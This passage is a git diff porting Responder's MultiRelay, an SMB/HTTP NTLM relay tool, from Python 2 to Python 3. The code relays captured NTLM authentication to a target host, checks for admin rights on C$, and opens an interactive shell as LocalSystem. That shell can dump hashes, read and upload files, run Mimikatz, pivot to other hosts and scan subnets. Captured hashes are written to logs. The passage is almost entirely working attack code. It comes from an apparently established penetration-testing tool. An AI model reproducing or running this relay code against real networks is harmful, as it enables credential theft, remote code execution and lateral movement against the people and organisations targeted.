RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) + if RunCmd is None: + s.close() + self.request.close() + return None - else: + else: ##Any other type of request, send a 401. Response = IIS_Auth_401_Ans() - self.request.send(str(Response)) + self.request.send(str(Response)) except Exception: - self.request.close() + self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. - pass + pass class SMBRelay(BaseRequestHandler): def handle(self): - try: #Don't handle requests while a shell is open. That's the goal after all. if IsShellOpen(): - return None + return None except: raise - s = ConnectToTarget() try: - data = self.request.recv(4096) + s = ConnectToTarget() + + data = self.request.recv(8092) ##Negotiate proto answer. That's us. - if data[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data)) - t = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(data)) - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) + if data[8:10] == b'\x72\x00': + Header = SMBHeader(cmd="\x72",flag1="\x98", flag2="\x43\xc8", pid=pidcalc(data),mid=midcalc(data)) + Body = SMBRelayNegoAns(Dialect=Parse_Nego_Dialect(NetworkRecvBufferPython2or3(data))) + packet1 = str(Header)+str(Body) + Buffer = StructPython2or3('>i', str(packet1))+str(packet1) + self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(4096) ## Make sure it's not a Kerberos auth. - if data.find("NTLM") != -1: - ## Start with nego protocol + session setup negotiate to our target. - data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) + if data.find(b'NTLM') is not -1: + ## Start with nego protocol + session setup negotiate to our target. + data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting) - ## Make sure it's not a Kerberos auth. - if data.find("NTLM") != -1: - ##Relay all that to our client. - if data[8:10] == "\x73\x00": - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) - #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. - #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. - t = smbdata[36:] - packet0 = str(head)+str(t) - buffer0 = longueur(packet0)+packet0 - self.request.send(buffer0) - data = self.request.recv(4096) + ## Make sure it's not a Kerberos auth. + if data.find(b'NTLM') is not -1: + ##Relay all that to our client. + if data[8:10] == b'\x73\x00': + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x16\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + #NTLMv2 MIC calculation is a concat of all 3 NTLM (nego,challenge,auth) messages exchange. + #Then simply grab the whole session setup packet except the smb header from the client and pass it to the server. + t = smbdata[36:].decode('latin-1') + packet0 = str(head)+str(t) + buffer0 = longueur(packet0)+packet0 + self.request.send(NetworkSendBufferPython2or3(buffer0)) + data = self.request.recv(4096) else: - #if it's kerberos, ditch the connection. - s.close() - return None + #if it's kerberos, ditch the connection. + s.close() + return None - if IsSMBAnonymous(data): + if IsSMBAnonymous(NetworkSendBufferPython2or3(data)): ##Send logon failure for anonymous logins. head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) t = SMBSessEmpty() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) + self.request.send(NetworkSendBufferPython2or3(buffer1)) s.close() return None @@ -449,18 +477,18 @@ class SMBRelay(BaseRequestHandler): Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting) if Username is not None: ##Got the ntlm message 3, send it over to SMB. - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34],mid="\x03\x00") - t = data[36:]#Final relay. + head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x43\xc8",uid=smbdata[32:34].decode('latin-1'),mid="\x03\x00") + t = data[36:].decode('latin-1')#Final relay. packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 if Pivoting[0] == "1": - pass + pass else: - print "[+] SMB Session Auth sent." - s.send(buffer1) + print("[+] SMB Session Auth sent.") + s.send(NetworkSendBufferPython2or3(buffer1)) smbdata = s.recv(4096) #We're all set, dropping into shell. - RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) + RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain) #If runcmd is None it's because tree connect was denied for this user. #This will only happen once with that specific user account. #Let's kill that connection so we can force him to reauth with another account. @@ -469,20 +497,20 @@ class SMBRelay(BaseRequestHandler): return None else: - ##Send logon failure, so our client might authenticate with another account. - head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) - t = SMBSessEmpty() - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - self.request.send(buffer1) - data = self.request.recv(4096) - self.request.close() - return None + ##Send logon failure, so our client might authenticate with another account. + head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x43\xc8", errorcode="\x6d\x00\x00\xc0", pid=pidcalc(data),mid=midcalc(data)) + t = SMBSessEmpty() + packet1 = str(head)+str(t) + buffer1 = longueur(packet1)+packet1 + self.request.send(NetworkSendBufferPython2or3(buffer1)) + data = self.request.recv(4096) + self.request.close() + return None except Exception: - self.request.close() + self.request.close() ##No need to print anything (timeouts, rst, etc) to the user console.. - pass + pass #Interface starts here. @@ -498,92 +526,92 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): ShellOpen = ["Shell is open"] # On this block we do some verifications before dropping the user into the shell. - if data[8:10] == "\x73\x6d": - print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target." - print "[+] Hashes were saved anyways in Responder/logs/ folder.\n" + if data[8:10] == b'\x73\x6d': + print("[+] Relay failed, Logon Failure. This user doesn't have an account on this target.") + print("[+] Hashes were saved anyways in Responder/logs/ folder.\n") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False - if data[8:10] == "\x73\x8d": - print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n" + if data[8:10] == b'\x73\x8d': + print("[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n") Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False - if data[8:10] == "\x73\x5e": - print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n" + if data[8:10] == b'\x73\x5e': + print("[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n") del ShellOpen[:] return False ## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$: ## Tree Connect - if data[8:10] == "\x73\x00": + if data[8:10] == b'\x73\x00': GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session. - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x43\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## Nope he doesn't. - if data[8:10] == "\x75\x22": + if data[8:10] == b'\x75\x22': if Pivoting[0] == "1": - pass + pass else: - print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n" - Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") + print("[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n") + Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure") del ShellOpen[:] return False # This one should not happen since we always use the IP address of the target in our tree connects, but just in case.. - if data[8:10] == "\x75\xcc": - print "[+] Tree Connect AndX denied. Bad Network Name returned." + if data[8:10] == b'\x75\xcc': + print("[+] Tree Connect AndX denied. Bad Network Name returned.") del ShellOpen[:] return False ## Tree Connect on C$ is successfull. - if data[8:10] == "\x75\x00": + if data[8:10] == b'\x75\x00': if Pivoting[0] == "1": - pass + pass else: - print "[+] Looks good, "+Username+" has admin rights on C$." - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + print("[+] Looks good, "+Username+" has admin rights on C$.") + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$") t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) ## Run one command. - if data[8:10] == "\x75\x00" and OneCommand != None or Dump: - print "[+] Authenticated." + if data[8:10] == b'\x75\x00' and OneCommand != None or Dump: + print("[+] Authenticated.") if OneCommand != None: - print "[+] Running command: %s"%(OneCommand) - RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0]) + print("[+] Running command: %s"%(OneCommand)) + RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0]) if Dump: - print "[+] Dumping hashes" - DumpHashes(data, s, Target[0]) + print("[+] Dumping hashes") + DumpHashes(data, s, Target[0]) os._exit(1) ## Drop into the shell. - if data[8:10] == "\x75\x00" and OneCommand == None: + if data[8:10] == b'\x75\x00' and OneCommand == None: if Pivoting[0] == "1": - pass + pass else: - print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n" - ShowHelp() + print("[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n") + ShowHelp() Logs.info("Client:"+clientIP+", "+Domain+"\\"+Username+" --> Target: "+Target[0]+" -> Shell acquired") - print color('Connected to %s as LocalSystem.'%(Target[0]),2,1) + print(color('Connected to %s as LocalSystem.'%(Target[0]),2,1)) while True: ## We either just arrived here or we're back from a command operation, let's setup some stuff. - if data[8:10] == "\x75\x00": - #start a thread for raw_input, so we can do other stuff while we wait for a command. + if data[8:10] == b'\x75\x00': + #start a thread for raw_input, so we can do other stuff while we wait for a command. t = Thread(target=get_command, args=()) t.daemon = True t.start() @@ -596,10 +624,10 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): count = count+1 SMBKeepAlive(s, data) if count == DoEvery: - DumbSMBChain(data, s, Target[0]) - count = 0 + DumbSMBChain(data, s, Target[0]) + count = 0 if any(x in Cmd for x in Cmd) is True: - break + break ##Grab the commands. Cmd is global in get_command(). DumpReg = re.findall('^dump', Cmd[0]) @@ -617,202 +645,203 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain): Help = re.findall('^help', Cmd[0]) if Cmd[0] == "exit": - print "[+] Returning in relay mode." - del Cmd[:] - del ShellOpen[:] - return None + print("[+] Returning in relay mode.") + del Cmd[:] + del ShellOpen[:] + return None ##For all of the following commands we send the data (var: data) returned by the ##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore. ##We also clean up the command array when done. if DumpReg: - data = DumpHashes(data, s, Target[0]) - del Cmd[:] + data = DumpHashes(data, s, Target[0]) + del Cmd[:] if Read: - File = Read[0] - data = ReadFile(data, s, File, Target[0]) - del Cmd[:] + File = Read[0] + data = ReadFile(data, s, File, Target[0]) + del Cmd[:] if Get: - File = Get[0] - data = GetAfFile(data, s, File, Target[0]) - del Cmd[:] + File = Get[0] + data = GetAfFile(data, s, File, Target[0]) + del Cmd[:] if Upload: - File = Upload[0] - if os.path.isfile(File): - FileSize, FileContent = UploadContent(File) - File = os.path.basename(File) - data = WriteFile(data, s, File, FileSize, FileContent, Target[0]) - del Cmd[:] - else: - print File+" does not exist, please specify a valid file." - del Cmd[:] + File = Upload[0] + if os.path.isfile(File): + FileSize, FileContent = UploadContent(File) + File = os.path.basename(File) + data = WriteFile(data, s, File, FileSize, FileContent, Target[0]) + del Cmd[:] + else: + print(File+" does not exist, please specify a valid file.") + del Cmd[:] if Delete: - Filename = Delete[0] - data = DeleteFile(data, s, Filename, Target[0]) - del Cmd[:] + Filename = Delete[0] + data = DeleteFile(data, s, Filename, Target[0]) + del Cmd[:] if RegDump: - Key = RegDump[0] - data = SaveAKey(data, s, Target[0], Key) - del Cmd[:] + Key = RegDump[0] + data = SaveAKey(data, s, Target[0], Key) + del Cmd[:] if RunAs: - if os.path.isfile(RunAsFileName): - FileSize, FileContent = UploadContent(RunAsFileName) - FileName = os.path.basename(RunAsFileName) - data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) - Exec = RunAs[0] - data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName) - del Cmd[:] - else: - print RunAsFileName+" does not exist, please specify a valid file." - del Cmd[:] + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + FileName = os.path.basename(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = RunAs[0] + data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName) + del Cmd[:] + else: + print(RunAsFileName+" does not exist, please specify a valid file.") + del Cmd[:] if LCmd: - subprocess.call(LCmd[0], shell=True) - del Cmd[:] + subprocess.call(LCmd[0], shell=True) + del Cmd[:] if Mimi: - if os.path.isfile(MimikatzFilename): - FileSize, FileContent = UploadContent(MimikatzFilename) - FileName = os.path.basename(MimikatzFilename) - data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) - Exec = Mimi[0] - data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) - del Cmd[:] - else: - print MimikatzFilename+" does not exist, please specify a valid file." - del Cmd[:] + if os.path.isfile(MimikatzFilename): + FileSize, FileContent = UploadContent(MimikatzFilename) + FileName = os.path.basename(MimikatzFilename) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = Mimi[0] + data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) + del Cmd[:] + else: + print(MimikatzFilename+" does not exist, please specify a valid file.") + del Cmd[:] if Mimi32: - if os.path.isfile(Mimikatzx86Filename): - FileSize, FileContent = UploadContent(Mimikatzx86Filename) - FileName = os.path.basename(Mimikatzx86Filename) - data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) - Exec = Mimi32[0] - data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) - del Cmd[:] - else: - print Mimikatzx86Filename+" does not exist, please specify a valid file." - del Cmd[:] + if os.path.isfile(Mimikatzx86Filename): + FileSize, FileContent = UploadContent(Mimikatzx86Filename) + FileName = os.path.basename(Mimikatzx86Filename) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + Exec = Mimi32[0] + data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName) + del Cmd[:] + else: + print(Mimikatzx86Filename+" does not exist, please specify a valid file.") + del Cmd[:] if Pivot: - if Pivot[0] == Target[0]: - print "[Pivot Verification Failed]: You're already on this host. No need to pivot." - del Pivot[:] - del Cmd[:] - else: - if ShowSigning(Pivot[0]): - del Pivot[:] - del Cmd[:] - else: - if os.path.isfile(RunAsFileName): - FileSize, FileContent = UploadContent(RunAsFileName) - FileName = os.path.basename(RunAsFileName) - data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) - RunAsPath = '%windir%\\Temp\\'+FileName - Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName) - - if Status == True: - print "[+] Pivoting to %s."%(Pivot[0]) - if os.path.isfile(RunAsFileName): - FileSize, FileContent = UploadContent(RunAsFileName) - data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) - #shell will close. - del ShellOpen[:] - #update the new host. - Host = [Pivot[0]] - #we're in pivoting mode. - Pivoting = ["1"] - data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName) - del Cmd[:] - s.close() - return None - - if Status == False: - print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host." - del Cmd[:] - del Pivot[:] - else: - print RunAsFileName+" does not exist, please specify a valid file." + if Pivot[0] == Target[0]: + print("[Pivot Verification Failed]: You're already on this host. No need to pivot.") + del Pivot[:] + del Cmd[:] + else: + if ShowSigning(Pivot[0]): + del Pivot[:] del Cmd[:] + else: + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + FileName = os.path.basename(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + RunAsPath = '%windir%\\Temp\\'+FileName + Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName) + + if Status == True: + print("[+] Pivoting to %s."%(Pivot[0])) + if os.path.isfile(RunAsFileName): + FileSize, FileContent = UploadContent(RunAsFileName) + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + #shell will close. + del ShellOpen[:] + #update the new host. + Host = [Pivot[0]] + #we're in pivoting mode. + Pivoting = ["1"] + data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName) + del Cmd[:] + s.close() + return None + + if Status == False: + print("[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host.") + del Cmd[:] + del Pivot[:] + else: + print(RunAsFileName+" does not exist, please specify a valid file.") + del Cmd[:] if Scan: - LocalIp = FindLocalIp() - Range = ConvertToClassC(Target[0], Scan[0]) - RunPivotScan(Range, Target[0]) - del Cmd[:] + LocalIp = FindLocalIp() + Range = ConvertToClassC(Target[0], Scan[0]) + RunPivotScan(Range, Target[0]) + del Cmd[:] if Help: - ShowHelp() - del Cmd[:] + ShowHelp() + del Cmd[:] ##Let go with the command. if any(x in Cmd for x in Cmd): if len(Cmd[0]) > 1: - if os.path.isfile(SysSVCFileName): - FileSize, FileContent = UploadContent(SysSVCFileName) - FileName = os.path.basename(SysSVCFileName) - RunPath = '%windir%\\Temp\\'+FileName - data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) - data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName) - del Cmd[:] - else: - print SysSVCFileName+" does not exist, please specify a valid file." - del Cmd[:] - + if os.path.isfile(SysSVCFileName): + FileSize, FileContent = UploadContent(SysSVCFileName) + FileName = os.path.basename(SysSVCFileName) + RunPath = '%windir%\\Temp\\'+FileName + data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0]) + data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName) + del Cmd[:] + else: + print(SysSVCFileName+" does not exist, please specify a valid file.") + del Cmd[:] + if isinstance(data, str): + data = data.encode('latin-1') if data is None: - print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n" + print("\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n") - if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. - head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) + if data[8:10] == b"\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. + head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1')) t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")# t.calculate() packet1 = str(head)+str(t) buffer1 = longueur(packet1)+packet1 - s.send(buffer1) + s.send(NetworkSendBufferPython2or3(buffer1)) data = s.recv(2048) class ThreadingTCPServer(TCPServer): - def server_bind(self): - TCPServer.server_bind(self) + def server_bind(self): + TCPServer.server_bind(self) ThreadingTCPServer.allow_reuse_address = 1 ThreadingTCPServer.daemon_threads = True def serve_thread_tcp(host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except: - print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1) + try: + server = ThreadingTCPServer((host, port), handler) + server.serve_forever() + except: + print(color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1)) def main(): - try: - threads = [] - threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMBRelay,))) - threads.append(Thread(target=serve_thread_tcp, args=('', 3128, HTTPProxyRelay,))) - threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTPRelay,))) - if ExtraPort != 0: - threads.append(Thread(target=serve_thread_tcp, args=('', int(ExtraPort), HTTPProxyRelay,))) - for thread in threads: - thread.setDaemon(True) - thread.start() + try: + threads = [] + threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMBRelay,))) + threads.append(Thread(target=serve_thread_tcp, args=('', 3128, HTTPProxyRelay,))) + threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTPRelay,))) + if ExtraPort != 0: + threads.append(Thread(target=serve_thread_tcp, args=('', int(ExtraPort), HTTPProxyRelay,))) + for thread in threads: + thread.setDaemon(True) + thread.start() - while True: - time.sleep(1) + while True: + time.sleep(1) - except (KeyboardInterrupt, SystemExit): - ##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default. - ##This is a bug in python readline when dealing with raw_input().. - if ShellOpen: - os.system('stty sane') - ##Then exit - sys.exit("\rExiting...") + except (KeyboardInterrupt, SystemExit): + ##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default. + ##This is a bug in python readline when dealing with raw_input().. + if ShellOpen: + os.system('stty sane') + ##Then exit + sys.exit("\rExiting...") if __name__ == '__main__': - main() + main() diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index ee2fa86..31d0dfc 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -1,5 +1,6 @@ #!/usr/bin/env python -# This file is part of Responder, a network take-over set of tools +# -*- coding: latin-1 -*- +# This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify @@ -14,8 +15,12 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import struct import sys +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" +import struct import random import time import os @@ -24,11 +29,15 @@ import re import datetime import threading import uuid -from RelayMultiPackets import * +import codecs +import sys +from .RelayMultiPackets import * from odict import OrderedDict from base64 import b64decode, b64encode -sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), 'creddump'))) -from framework.win32.hashdump import dump_file_hashes + +sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), 'impacket-dev/'))) +from secretsdump import DumpSecrets + from SMBFinger.Finger import ShowSmallResults from socket import * @@ -47,35 +56,55 @@ class Packet(): ]) def __init__(self, **kw): self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): + for k,v in list(kw.items()): if callable(v): self.fields[k] = v(self.fields[k]) else: self.fields[k] = v def __str__(self): - return "".join(map(str, self.fields.values())) + return "".join(map(str, list(self.fields.values()))) + +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 is "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') + +def NetworkSendBufferPython2or3(data): + if PY2OR3 is "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if PY2OR3 is "PY2": + return str(data) + else: + return str(data.decode('latin-1')) # Function used to write captured hashs to a file. def WriteData(outfile, data, user): - if not os.path.isfile(outfile): - with open(outfile,"w") as outf: - outf.write(data + '\n') - return - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - return False - elif re.search(re.escape("$"), user): - return False - with open(outfile,"a") as outf2: - outf2.write(data + '\n') + if not os.path.isfile(outfile): + with open(outfile,"w") as outf: + outf.write(data + '\n') + return + with open(outfile,"rb") as filestr: + if re.search(NetworkSendBufferPython2or3(user), filestr.read()): + return False + elif re.search(re.escape(b'$'), NetworkSendBufferPython2or3(user)): + return False + with open(outfile,"a") as outf2: + outf2.write(data + '\n') #Function used to verify if a previous auth attempt was made. def ReadData(Outfile, Client, User, Domain, Target, cmd): try: - with open(Logs_Path+"logs/"+Outfile,"r") as filestr: - Login = Client+":"+User+":"+Domain+":"+Target+":Logon Failure" - if re.search(Login.encode('hex'), filestr.read().encode('hex')): - print "[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User) + with open(Logs_Path+"logs/"+Outfile,"rb") as filestr: + Login = Client+':'+User+':'+Domain+':'+Target+':Logon Failure' + if re.search(codecs.encode(NetworkSendBufferPython2or3(Login),'hex'), codecs.encode(filestr.read(),'hex')): + print("[+] User %s\\%s previous login attempt returned logon_failure. Not forwarding anymore to prevent account lockout\n"%(Domain,User)) return True else: @@ -84,178 +113,178 @@ def ReadData(Outfile, Client, User, Domain, Target, cmd): raise def ServeOPTIONS(data): - WebDav= re.search('OPTIONS', data) - if WebDav: - Buffer = WEBDAV_Options_Answer() - return str(Buffer) + WebDav= re.search(b'OPTIONS', data) + if WebDav: + Buffer = WEBDAV_Options_Answer() + return str(Buffer) - return False + return False def IsSMBAnonymous(data): - SSPIStart = data.find('NTLMSSP') + SSPIStart = data.find(b'NTLMSSP') SSPIString = data[SSPIStart:] Username = struct.unpack(' 24: - DomainLen = struct.unpack(' 24: + DomainLen = struct.unpack(' 60: - SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() - DomainLen = struct.unpack(' 60: + SMBHash = codecs.encode(SSPIString[NthashOffset:NthashOffset+NthashLen],'hex').decode('latin-1').upper() + DomainLen = struct.unpack('= 258: - Challenge = data[106:114] + Challenge = data[106:114] if Pivoting[0] == "1": - return Challenge + return Challenge else: - print "[+] Setting up HTTP relay with SMB challenge:", Challenge.encode("hex") - return Challenge + print("[+] Setting up HTTP relay with SMB challenge:", codecs.encode(Challenge,'hex').decode('latin-1')) + return Challenge #Here we extract the complete NTLM message from an HTTP request and we will later feed it to our SMB target. def ExtractRawNTLMPacket(data): SecBlobLen = struct.unpack("i", len(''.join(payload))) + length = StructWithLenPython2or3(">i", len(''.join(payload))) return length def ConvertToClassC(Host, Class): Class = Class.strip() Ip = re.split(r'(\.|/)', Host) if Class == "/24": - Ip[6:7] = ["0"] - return ''.join(Ip)+Class + Ip[6:7] = ["0"] + return ''.join(Ip)+Class if Class == "/16": - Ip[4:5] = ["0"] - Ip[6:7] = ["0"] - return ''.join(Ip)+Class + Ip[4:5] = ["0"] + Ip[6:7] = ["0"] + return ''.join(Ip)+Class else: - print "Illegal class, please use: /24 or /16" - return None + print("Illegal class, please use: /24 or /16") + return None def GenerateRandomFileName(): return ''.join([random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(random.randint(5, 15))]) @@ -381,47 +411,47 @@ def GenerateNamedPipeName(): def Generateuuid(): RandomStr = binascii.b2a_hex(os.urandom(16)) - x = uuid.UUID(bytes_le=RandomStr.decode('hex')) - DisplayGUID = uuid.UUID(RandomStr) + x = uuid.UUID(bytes_le=codecs.decode(RandomStr,'hex')) + DisplayGUID = uuid.UUID(RandomStr.decode('latin-1')) DisplayGUIDle = x.bytes - return str(DisplayGUID), str(DisplayGUIDle) + return str(DisplayGUID), str(DisplayGUIDle.decode('latin-1')) ### #SMBRelay grab ### def GrabNegotiateFromTarget(data, s, Pivoting): - ## Start with nego protocol + session setup negotiate to our target. - h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") - n = SMBNegoCairo(Data = SMBNegoCairoData()) - n.calculate() - packet0 = str(h)+str(n) - buffer0 = longueur(packet0)+packet0 - s.send(buffer0) - smbdata = s.recv(4096) - ##Session Setup AndX Request, NTLMSSP_NEGOTIATE to our target. - if smbdata[8:10] == "\x72\x00": - head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",mid="\x02\x00") - t = data[36:] #simply grab the whole packet except the smb header from the client. - packet1 = str(head)+str(t) - buffer1 = longueur(packet1)+packet1 - s.send(buffer1) - smbdata = s.recv(4096) - challenge = ExtractSMBChallenge(smbdata, Pivoting)#Grab the challenge, in case we want to crack the hash later. - return data, smbdata, s, challenge + ## Start with nego protocol + session setup negotiate to our target. + h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x07\xc8") + n = SMBNegoCairo(Data = SMBNegoCairoData()) + n.calculate() + packet0 = str(h)+str(n) + buffer0 = longueur(packet0)+packet0 + s.send(NetworkSendBufferPython2or3(buffer0)) + 